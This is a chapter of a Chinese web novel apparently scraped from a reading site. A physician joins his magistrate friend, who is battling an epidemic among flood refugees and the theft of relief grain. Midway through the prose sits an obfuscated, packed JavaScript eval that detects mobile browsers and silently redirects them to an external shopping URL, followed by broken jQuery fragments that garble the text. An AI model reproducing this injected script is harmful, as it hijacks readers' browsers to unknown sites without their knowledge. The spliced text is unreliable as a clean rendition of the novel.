文趣网 > 其他小说 > 殿下万安 > 8. 第八章,解元。
    第八章,解元。

    曲水城的城楼破败得厉害,城门上的漆也掉得斑驳,几个手持烧火棍的守门士卒与身着戎甲的兵丁站在一起,盯着来往的路人。

    没有路引的都被当作流民对待,全部拒在门外,有路引的也会层层盘查。

    戚镖头不与官斗,早早地准备好众人的路引,镖局的经商文牒,以及在玉都准备的官府荐书还有孝敬城门守卫的几两碎银子。

    守卫是人精,悄摸拿了银子,看了书信文牒直接挥手就让人进去了。

    戚镖头找了一家客栈,众人安置下来,水足饭饱后才又聚在一起商议。

    “东家这批货要到晋阳关,我们还要再走三日,沈先生受旧友相约,要在解元县停留,接下来我们过莫城婉水,预计后日抵达解元,大后天到晋阳。”戚镖头拿出地图,将线路指给众人看。

    其实路走了这么多年大家都熟悉,只是今日遇见山匪,大家心里都不安宁,戚镖头这是在安抚人心。

    安抚人心最好的方式,就是领头的人不慌不乱,井井有条。

    众人认真听完,便各自安睡休息去了,货物那边则是几个经验老道的汉子负责轮流看守。

    翌日,众人继续出发,越往边境,土地越是荒凉,甚至还能看见战火过后才有的折戟短剑异域人的尸体。

    沈宴回想着玉都的安稳,看着这里满地荒芜,心绪难平。

    次日众人又至解元,解元城门外就不一样了,也有帐篷密集,却整齐有序,每个帐篷外挂着醒目的木牌,分黑红白三色各做标注,分别写:病弱,伤病,应急。

    篷子里也有不少流民,看着却稍微有些活人气息,且每个帐篷都不拥挤,不杂乱。

    城门口拉线做分区,分三列排着长长的队伍,人车商队分开,井然有序。

    “别挤,都给老子安心排队,领牌子入城。有发烧咳嗽浑身无力的站出来,先到病弱篷区区观察,有伤有病的直接领红牌子去伤病篷区先医治。”

    还未到城门口排队,沈宴回便听见有个嗓门极大的汉子,正在吆喝。

    沈宴回直接跳下车板,然后背起自己的医药箱子,冲着戚镖头拱手:“戚镖头就同行到此,沈某先去拜访旧友,日后晋阳关见。”

    戚镖头点头:“沈郎君保重。”

    两人并不多说,反正此行沈宴回的最终目的地也是晋阳关,两人还要在那里碰头返回,说完戚镖头便带着车队排到商队那一列,与沈宴回分开。

    沈宴回并没有去排队,而是看了看城外分区的帐篷,瞅着一块挂着“应急”黑色牌子的帐篷,走了过去。

    “什么人?”还未到帐篷便有两个手持制式军刀的壮硕汉子,拦住沈宴回的去路。

    “在下沈宴回,方解元的好友,特来拜会。”沈宴回未见过两个汉子,想来是解元县令新招来的衙役。

    沈宴回声音刚落,帐篷里就冲出来一个蓬头垢面青衣男子。

    男子小跑着推开拦路汉子,直接撞到沈宴回怀里:“宴回兄可来了,解元乃是晋阳关门户,我生害怕一疏忽这波疫病就传到关内去了,害了一关的将士。”

    闻言沈宴回神情一肃:“已经生了疫病?”

    “曲水那边管理混乱,流民死伤无数,再加上大水之后天气炎热,水褪去的时候带着腐烂的人和动物尸首,怎么会不生疫病。”方儒含趴在沈宴回的肩膀上就哭,哭得上气不接下气。

    沈宴回有些嫌弃,一县之尊就这点出息,他真的不是很能理解。

    从小的教养在哪里,他不理解却十分尊重,任由方儒含趴在他身上嚎啕大哭。

    方儒含是真的伤心,淮州挨着鹤江,年年到了夏日水患不断,百姓流离失所,秋收稀薄,粮食稀缺,再赶上疫病,到处惨不忍睹。他这县令到这里三年,也没干过别的,每天两眼一睁就是救灾!救灾!

    城门口等着吃饭的灾民,城中百姓的安危,秋收春种,县城周围的排水......等等,每日数不清的事情。

    这些都是小事,最大的事情,是朝廷赈灾的钱粮,十成离开国库,五成到地方,到他手里能有一成已经是收敛了。

    想他自己,当年可是连中三元风光无限,那个时候走到哪里都会被人尊称一声解元公,后来殿试中榜授官,京中世家瞧不上他这样耿直的,就将他发配到这偏远地区的解元县来做县令。

    说的还挺好听,方解元与这解元县乃是缘分,还真是原汁原味的粪。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933398|213684||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    可这些年,但凡他稍微不要一点良心,学学那曲水县令,把账做漂亮,把卷宗条陈写出花,混一点政绩出来,任期一到就能走了。

    可全县有数万百姓,拖家带口等着吃饭,等着活命,他能怎么办?他该怎么办?

    在这里三年,熬白了头发,熬干了心血,勉强将解元打理的能看,勉强能让这里的百姓糊口,灾荒来了也能节衣缩食的保下性命。

    他心里苦啊!忍不住的时候总在想,摘了官帽脱了官衣,浪迹天涯算了,管他那么多作甚。

    “宴回兄,儒含苦啊!苦啊!”方儒含哭到最心痛的时候,猛捶沈宴回胸口。

    “男儿有泪不轻弹,儒含兄这才哪到哪儿,等今年的赈灾粮下来了你再哭不迟。”沈宴回深吸一口气,看似安慰方儒含,其实句句戳心。

    一说到正事,方儒含收起自己的哭声,用自己官服破烂的袖口狠狠在脸上摸了一把,擦干鼻涕眼泪,认真看着沈宴回。

    “里面说。”方儒含将人引到帐篷里。

    身为一县之尊,又正值疫情将要泛滥的紧急时刻,他几乎日夜守在应急棚,这样若是有紧急事情,也能立刻处置。

    “这么些年景,第一年我可能还会认真地等朝廷救灾,现在我只会求我自己。等朝廷那点可怜的救灾粮运来,解元补种的粮食都出芽了。”方儒含端坐到椅子上,神情严肃。

    “眼下当务之急是,疫病。自我县发现首例疫病,不过三日传染十六人,且自水灾之后,我一直严格按照之前我们试行有效的救灾防疫法子在县中施行,城门设卡,有病弱均隔离,不洗手不经过熏蒸不服食防疫汤药的,均不许入城,城中却依旧有疫病人被发现。”方儒含将入城登记的册子摊开,上面登记入城的每一个人,姓名年龄来历籍贯以及会做什么。

    “这些我不看,说说防疫情况。我是大夫,疫情归我管,你是县尊,户册归你管。”沈宴回直接合上那厚厚的册子。

    “方某此生最大的幸事便是与你同窗,成为挚友。”方儒含一听这话,探身上前,言真意切地开口,几欲感动到痛哭流涕一般。

    “你要是实在感动得不行,就跪地喊我一声义父,我必坦然受之。”沈宴回翻了一白眼。